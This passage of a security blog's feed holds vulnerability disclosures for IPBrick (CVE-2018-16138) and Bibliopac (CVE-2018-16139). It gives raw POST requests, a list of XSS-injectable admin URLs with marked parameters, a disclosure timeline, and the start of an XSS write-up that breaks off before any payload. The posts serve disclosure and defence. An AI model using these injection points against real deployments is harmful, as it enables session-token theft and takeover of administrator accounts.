-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0awebmail_alterado\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;imap_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;smtp_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;db_server\&quot;\x0d\x0a\x0d\x0alocalhost\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;login_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;logo_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;can_export\&quot;\x0d\x0a\x0d\x0at\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_users\&quot;\x0d\x0a\x0d\x0a10000\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_prefs\&quot;\x0d\x0a\x0d\x0aadministrator\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_calendar_info\&quot;\x0d\x0a\x0d\x0a1*\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_show_company_logo\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_hide_never\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_one_year_max\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_state\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_resource_users\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_interval\&quot;\x0d\x0a\x0d\x0a2\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;lastrmt\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_name[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_doAction[1]\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_action[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;show_alt_emails\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;horde_signature\&quot;\x0d\x0a\x0d\x0a  \x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;f_accao\&quot;\x0d\x0a\x0d\x0aModify\x0d\x0a-----------------------------11122813211374287858922608002--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0awebmail_alterado\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;imap_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;smtp_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;db_server\&quot;\x0d\x0a\x0d\x0alocalhost\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;login_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;logo_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;can_export\&quot;\x0d\x0a\x0d\x0at\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_users\&quot;\x0d\x0a\x0d\x0a10000\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_prefs\&quot;\x0d\x0a\x0d\x0aadministrator\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_calendar_info\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_show_company_logo\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_hide_never\&quot;\x0d\x0a\x0d\x0a0*\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_one_year_max\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_state\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_resource_users\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_interval\&quot;\x0d\x0a\x0d\x0a2\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;lastrmt\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_name[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_doAction[1]\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_action[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;show_alt_emails\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;horde_signature\&quot;\x0d\x0a\x0d\x0a  \x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;f_accao\&quot;\x0d\x0a\x0d\x0aModify\x0d\x0a-----------------------------11122813211374287858922608002--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;pagina\&quot;\x0d\x0a\x0d\x0awebmail_alterado\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;imap_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;smtp_server\&quot;\x0d\x0a\x0d\x0aipbrick.domain.com\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;db_server\&quot;\x0d\x0a\x0d\x0alocalhost\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;login_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;logo_patch\&quot;; filename=\&quot;\&quot;\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;can_export\&quot;\x0d\x0a\x0d\x0at\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_users\&quot;\x0d\x0a\x0d\x0a10000\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;admin_prefs\&quot;\x0d\x0a\x0d\x0aadministrator\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_calendar_info\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_show_company_logo\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_hide_never\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;tb_plugin_recur_one_year_max\&quot;\x0d\x0a\x0d\x0a0*\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_state\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_resource_users\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;resources_executing_interval\&quot;\x0d\x0a\x0d\x0a2\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;lastrmt\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_name[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_doAction[1]\&quot;\x0d\x0a\x0d\x0a1\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;event_type_action[1]\&quot;\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;show_alt_emails\&quot;\x0d\x0a\x0d\x0a0\x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;horde_signature\&quot;\x0d\x0a\x0d\x0a  \x0d\x0a-----------------------------11122813211374287858922608002\x0d\x0aContent-Disposition: form-data; name=\&quot;f_accao\&quot;\x0d\x0a\x0d\x0aModify\x0d\x0a-----------------------------11122813211374287858922608002--\x0d\x0a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
---------------------------9988894693323536491681056513
Content-Length: 540
-----------------------------9988894693323536491681056513
Content-Disposition: form-data; name=&quot;pagina&quot;
voip_placas_pstn_inserir
-----------------------------9988894693323536491681056513
Content-Disposition: form-data; name=&quot;tipoplaca&quot;
115561371*
-----------------------------9988894693323536491681056513
Content-Disposition: form-data; name=&quot;manufacturer&quot;
6
-----------------------------9988894693323536491681056513
Content-Disposition: form-data; name=&quot;numportas&quot;
1
-----------------------------9988894693323536491681056513--

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;pagina&quot;
webmail_alterado
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;imap_server&quot;
ipbrick.domain.com
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;smtp_server&quot;
ipbrick.domain.com
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;db_server&quot;
localhost
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;login_patch&quot;; filename=&quot;&quot;
Content-Type: application/octet-stream
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;logo_patch&quot;; filename=&quot;&quot;
Content-Type: application/octet-stream
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;can_export&quot;
t
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;admin_users&quot;
10000
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;admin_prefs&quot;
administrator
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;tb_plugin_calendar_info&quot;
1
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;tb_plugin_show_company_logo&quot;
1*
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;tb_plugin_recur_hide_never&quot;
0
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;tb_plugin_recur_one_year_max&quot;
0
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;resources_executing_state&quot;
0
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;resources_resource_users&quot;
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;resources_executing_interval&quot;
2
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;lastrmt&quot;
1
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;event_type_name[1]&quot;
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;event_type_doAction[1]&quot;
1
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;event_type_action[1]&quot;
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;show_alt_emails&quot;
0
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;horde_signature&quot;
-----------------------------11122813211374287858922608002
Content-Disposition: form-data; name=&quot;f_accao&quot;
Modify
-----------------------------11122813211374287858922608002--

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;CVE-2018-16138 (Cross-Site Scripting) XSS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Another Vulnerability found was XSS in ALL THE ADMINISTRATION PAGE. Looks like they don’t like to sanitize input. As seen on my other &lt;a href=&quot;http://www.cncs.pt&quot;&gt;post&lt;/a&gt; This vulnerability can be leveraged to inject JavaScript code and steam authentication tokens, as well as compromise clients if there is an exploit for their browser. Its consider a high severity vulnerability and should not be found in any application let alone one that handles the security of the whole enterprise.&lt;/p&gt;

&lt;p&gt;Persistent and reflective XSS attacks can be made in this application, for example, for any chance if a user is registered using a payload it will present on the web page if consulting the user list. This is risky since any kind of problems could arise from it.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;*List of detected XSS vulnerable inputs*

* /corpo.php?pagina=insere_licenca&amp;amp;activationcode=1ej5k3*sjnkukola1o&amp;amp;f_accao_file=Licence File
* /corpo.php?pagina=voip_asterisk_manager&amp;amp;alterar=*
* /corpo.php?pagina=voip_asterisk_manager&amp;amp;reload=1&amp;amp;alterar=*&amp;amp;activar=t
* /corpo.php?pagina=voip_options_alterar_altera&amp;amp;option=callcenter&amp;amp;in_estado_acd_remoto=t&amp;amp;in_ip_ACD=&amp;amp;in_suf_ACD=&amp;amp;status_send_queue_log=t&amp;amp;extra_send_queue_log_ip=*&amp;amp;extra_send_queue_log_port=&amp;amp;status_send_queue_log_share=t&amp;amp;extra_send_queue_log_share_ip=&amp;amp;extra_send_queue_log_share_folder=&amp;amp;extra_send_queue_log_share_login=admin&amp;amp;extra_send_queue_log_share_pwd=123456&amp;amp;extra_send_queue_log_share_period=1&amp;amp;extra_send_queue_log_share_hour=0&amp;amp;f_accao=Modify
* /corpo.php?pagina=voip_options_alterar_altera&amp;amp;option=callcenter&amp;amp;in_estado_acd_remoto=t&amp;amp;in_ip_ACD=&amp;amp;in_suf_ACD=&amp;amp;status_send_queue_log=t&amp;amp;extra_send_queue_log_ip=&amp;amp;extra_send_queue_log_port=&amp;amp;status_send_queue_log_share=t&amp;amp;extra_send_queue_log_share_ip=*&amp;amp;extra_send_queue_log_share_folder=&amp;amp;extra_send_queue_log_share_login=admin&amp;amp;extra_send_queue_log_share_pwd=123456&amp;amp;extra_send_queue_log_share_period=1&amp;amp;extra_send_queue_log_share_hour=0&amp;amp;f_accao=Modify
* /corpo.php?pagina=maquinas_inserir&amp;amp;f_type=1&amp;amp;f_nome=1&amp;amp;f_gidnumber=802&amp;amp;f_ip1=192&amp;amp;f_ip2=168&amp;amp;f_ip3=69&amp;amp;f_ip4=111&amp;amp;f_mac1=&amp;amp;f_mac2=&amp;amp;f_mac3=&amp;amp;f_mac4=&amp;amp;f_mac5=&amp;amp;f_mac6=*
* /corpo.php?pagina=show_log&amp;amp;file=*&amp;amp;file2=
* /corpo.php?pagina=show_log&amp;amp;file=system-1519780916.tgz&amp;amp;file2=*
* /corpo.php?pagina=manage_access_log_adv_alt&amp;amp;id_access=*
* /corpo.php?pagina=voip_options_alterar_altera&amp;amp;option=callcenter&amp;amp;in_estado_acd_remoto=t&amp;amp;in_ip_ACD=*&amp;amp;in_suf_ACD=&amp;amp;status_send_queue_log=t&amp;amp;extra_send_queue_log_ip=&amp;amp;extra_send_queue_log_port=&amp;amp;status_send_queue_log_share=t&amp;amp;extra_send_queue_log_share_ip=&amp;amp;extra_send_queue_log_share_folder=&amp;amp;extra_send_queue_log_share_login=admin&amp;amp;extra_send_queue_log_share_pwd=123456&amp;amp;extra_send_queue_log_share_period=1&amp;amp;extra_send_queue_log_share_hour=0&amp;amp;f_accao=Modify
* /corpo.php?pagina=voip_interface_pstn_inserir&amp;amp;nomeinterface=*&amp;amp;tipointerface=NT&amp;amp;opensippeers=0&amp;amp;rxgain=0&amp;amp;txgain=0&amp;amp;fqdn=&amp;amp;msip=&amp;amp;intechocancel=G
* /corpo.php?pagina=utilizador_ver_lista&amp;amp;offset=*&amp;amp;first_char=&amp;amp;pesq_nome=
* /corpo.php?pagina=utilizador_ver_lista&amp;amp;offset=*&amp;amp;first_char=&amp;amp;pesq_nome=
* /corpo.php?pagina=voip_options_alterar_altera&amp;amp;option=*&amp;amp;dnat=f&amp;amp;voip_public_ip_type_options=0&amp;amp;voip_public_ip_value1_options=&amp;amp;voip_listen_public_ip_type_options=0&amp;amp;voip_listen_public_ip_value1_options=10.0.0.253&amp;amp;int_voip=1&amp;amp;direct_rtp_setup=f&amp;amp;rmzero=f&amp;amp;contacts_server=local&amp;amp;cid_ldapsrv=127.0.0.1&amp;amp;cid_dnsdomain=domain.com&amp;amp;username_remote=admin&amp;amp;password_remote=123456&amp;amp;cid_search=f&amp;amp;cid_search_internal=f&amp;amp;address_restrict=f&amp;amp;voip_pbx_asterisk_answer=t&amp;amp;voip_att_timeout_options=30&amp;amp;voip_call_timeout_options=120&amp;amp;rtp_timeout=600&amp;amp;rtp_hold_timeout=700&amp;amp;agent_timeout_status=f&amp;amp;agent_timeout_extra=30&amp;amp;reg_expire_default=3600&amp;amp;reg_expire_max=3600&amp;amp;qualify_freq=60&amp;amp;reg_attempts=0&amp;amp;sip_videosupport=t&amp;amp;voipoptions_est_directory_users_ext=f&amp;amp;voipoptions_ext_directory_users_ext=*61&amp;amp;voipoptions_ext_directory_users_searchby=lastname&amp;amp;estatttransfer=f&amp;amp;extatttransfer=*1&amp;amp;estbldtransfer=f&amp;amp;extbldtransfer=#1&amp;amp;estado_pickup_ext=t&amp;amp;extra_pickup_ext=*8&amp;amp;estado_pickup_ext_grp=f&amp;amp;extra_pickup_ext_grp=*7&amp;amp;estado_pickup_ext_global=t&amp;amp;extra_pickup_ext_global=*8&amp;amp;extra_pickup_mode=1&amp;amp;estado_block_ext=f&amp;amp;extra_block_ext=*76&amp;amp;estado_unblock_ext_code=f&amp;amp;extra_unblock_ext_code=123456&amp;amp;estado_dnd_ena_ext=f&amp;amp;extra_dnd_ena_ext=*73&amp;amp;extra_dnd_dis_ext=*74&amp;amp;estado_cfw_all_ena_ext=f&amp;amp;extra_cfw_all_ena_ext=*70&amp;amp;estado_cfw_bsy_ena_ext=f&amp;amp;extra_cfw_bsy_ena_ext=*72&amp;amp;estado_cfw_noanw_ena_ext=f&amp;amp;extra_cfw_noanw_ena_ext=*71&amp;amp;estado_acfw_noanw_ena_ext=f&amp;amp;accao_acfw_noanw_ena_ext=0&amp;amp;extra_acfw_noanw_ena_ext=0&amp;amp;estado_retrydial_busy_ena_ext=f&amp;amp;extra_retrydial_busy_ena_ext=5&amp;amp;extra_retrydial_busy_timeout=60&amp;amp;extra_retrydial_busy_restrict=0&amp;amp;estado_barge_ext=f&amp;amp;extra_barge_ext=*9&amp;amp;estado_audio_recording_byphone=f&amp;amp;extra_audio_recording_byphone_seq=*60&amp;amp;extra_audio_recording_byphone_pinauth=&amp;amp;estado_callscreen_ext=f&amp;amp;extra_callscreen_ext=*64&amp;amp;moh_enable=f&amp;amp;id_moh=1&amp;amp;estado_callscreen_callerid_anonymous_ena=f&amp;amp;estado_callscreen_save_records=f&amp;amp;estado_callscreen_automatic_answer=f&amp;amp;prioritizacao=f&amp;amp;estado_recording_demand=f&amp;amp;estado_recording_cache=f&amp;amp;estado_adv_call_stats=f&amp;amp;conta_ftp=f&amp;amp;estado_voip_high_resolution_time=t&amp;amp;estado_dbreporting=f&amp;amp;extra_dbreporting=&amp;amp;ip_media=f&amp;amp;simetric_rtp=t&amp;amp;estado_chef_secretary=f&amp;amp;extra_chef_secretary=*79&amp;amp;forwarding_messages=t&amp;amp;dial_separator=#&amp;amp;estado_click2dial_msg=f&amp;amp;distinctive_ring=t&amp;amp;estado_password_policies=t&amp;amp;extra_password_policies=8&amp;amp;default_call_limit=2&amp;amp;addsipportscount=1&amp;amp;addsipports_0=5060&amp;amp;tls_port=5061&amp;amp;iax_port=4569&amp;amp;extra_udp_error_control=fec&amp;amp;estado_sip_tos=f&amp;amp;sip_tos_0=cs3&amp;amp;sip_tos_1=ef&amp;amp;sip_tos_2=af41&amp;amp;sip_tos_3=af41&amp;amp;estado_iax_tos=f&amp;amp;iax_tos_0=ef&amp;amp;estado_sip_cos=f&amp;amp;sip_cos_0=3&amp;amp;sip_cos_1=5&amp;amp;sip_cos_2=4&amp;amp;sip_cos_3=3&amp;amp;estado_iax_cos=f&amp;amp;iax_cos_0=5&amp;amp;extra_channel_tonezone=pt&amp;amp;f_accao=Modify&amp;amp;addsipports_=   (C&apos;mon!! at least change this to post data!)
* /corpo.php?pagina=utilizador_ver_lista&amp;amp;offset=0&amp;amp;first_char=&amp;amp;pesq_nome=*
* /corpo.php?pagina=vpnssl_policies_ins&amp;amp;policy=*

* /manual/index.php?node=undefined&amp;amp;man_lang=*
* /manual/index.php?node=*&amp;amp;man_lang=undefined
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Every input in this application should be sanitized to prevent exploitation of all these vulnerabilities and implement an antiCSRF token.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Advisory Note&lt;/strong&gt;
If you look closely, you’ll find that I skipped a lot of injection points. The reason is that I was fed up of discovering things. Sorry about that, but just choose a form and test it. There is a probability that has something wrong in it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TimeLine&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;*29/08/18 - CVE Request&lt;/p&gt;

&lt;p&gt;*30/08/2018 - Contacted IPBrick to send details&lt;/p&gt;

&lt;p&gt;*25/10/2018 - No response from IPBrick&lt;/p&gt;

&lt;p&gt;*06/11/2018 - Contacted CSIRT since several critical institutions were vulnerable&lt;/p&gt;

&lt;p&gt;*14/11/2018 - Response from IPBrick stating they will analyze the incident&lt;/p&gt;

&lt;p&gt;*03/12/2018 - Email sent, no updates on the matter&lt;/p&gt;

&lt;p&gt;*20/01/2018 - Email sent, no updates on the matter&lt;/p&gt;

&lt;p&gt;*26/12/2018 - Response stating that by the end of January a fix will be provided&lt;/p&gt;

&lt;p&gt;*03/01/2019 - It’s February, disclosing it&lt;/p&gt;
</description>
        <pubDate>Fri, 01 Feb 2019 00:01:00 +0000</pubDate>
        <link>http://www.0x90.zone/web/multiple/2019/02/01/Multiple-Vulnerabilities-IPBrick.html</link>
        <guid isPermaLink="true">http://www.0x90.zone/web/multiple/2019/02/01/Multiple-Vulnerabilities-IPBrick.html</guid>
        
        
        <category>web</category>
        
        <category>multiple</category>
        
      </item>
    
      <item>
        <title>XSS on Bibliopac (CVE-2018-16139)</title>
        <description>&lt;p&gt;Good morning. Today I bring to attention a XSS vulnerability in a library management/inventory software, &lt;strong&gt;Bibliopac&lt;/strong&gt; from Bibliosoft.
This software is used mainly in the Portuguese geographic region by several entities, and it’s somewhat old.
The reason that this could be dangerous has to do with the environment of the vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/bibliopac/bibliopacIntro.png&quot; alt=&quot;Bibliopac XSS 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Quick introduction to XSS attacks&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;XSS vulnerabilities allow attackers to inject code (often Javascript code) into a webpage. By injecting Javascript code an attacker can try to steal authentication tokens, inject keyloggers ( &lt;a href=&quot;https://wiremask.eu/articles/xss-keylogger-tutorial/&quot;&gt;XSS-Keylogger&lt;/a&gt;) or even try to exploit several vulnerabilities in the WebKit engine to try to achieve remote code execution (like in the PS4 and Switch case &lt;a href=&quot;https://www.youtube.com/watch?v=xkdPjbaLngE&quot;&gt;What do Nintendo Switch and iOS 9.3 have in common? CVE-2016-4657 walk-through&lt;/a&gt;).
This type of vulnerability affects the clients itself and not the server data, at least in a direct way. Imagine if there is a back-office, and a system administrator opens the link or visits the page with the payload and get their session cookie stolen. The attacker can now impersonate the identity of the administrator and escalate privileges.
The matter gets worst if, considering the environment, there is a single sign-on authentication and the attacker is able to steal those authentication tokens then it can log in in other applications that have connectors to that SSO authentication.&lt;/p&gt;

&lt;p&gt;In my research, I found on Google 176 results of this application running on several servers. The matter gets worst when we look at what institutions are running it.
Institutions related to education, city halls or even court-related institutions.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/bibliopac/bibliopacGoogle.png&quot; alt=&quot;Bibliopac XSS 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After discovering this vulnerability, I contacted the developer of this application. However, they stated that the software is deprecated and no patch will be issued. Confirming on their website, it is indeed an old software version, and a new product is available (I did not test the new product).&lt;/p&gt;

&lt;p&gt;Despite that the vulnerability still exists and can be exploited. The following URLs are prone to XSS:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;/bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bin/bibliopac.xic&amp;amp;db=BIBLIO*&amp;amp;lang=P&amp;amp;start=&lt;/strong&gt;
&lt;img src=&quot;http://www.0x90.zone/images/bibliopac/xss1.png&quot; alt=&quot;Bibliopac XSS 1&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;/bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bin/bibliopac.xic&amp;amp;action=EXTRASEARCH*&amp;amp;search=&lt;/strong&gt;
&lt;img src=&quot;http://www.0x90.zone/images/bibliopac/xss2.png&quot; alt=&quot;Bibliopac XSS 2&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Keep in mind that the “db” parameter could be different since the application allow for different Databases to be installed.&lt;/p&gt;

&lt;p&gt;If we analyze the source code, we can see the * reflected on the page. Weaponizing the vulnerability, we can trigger an alert message to prove that it works:
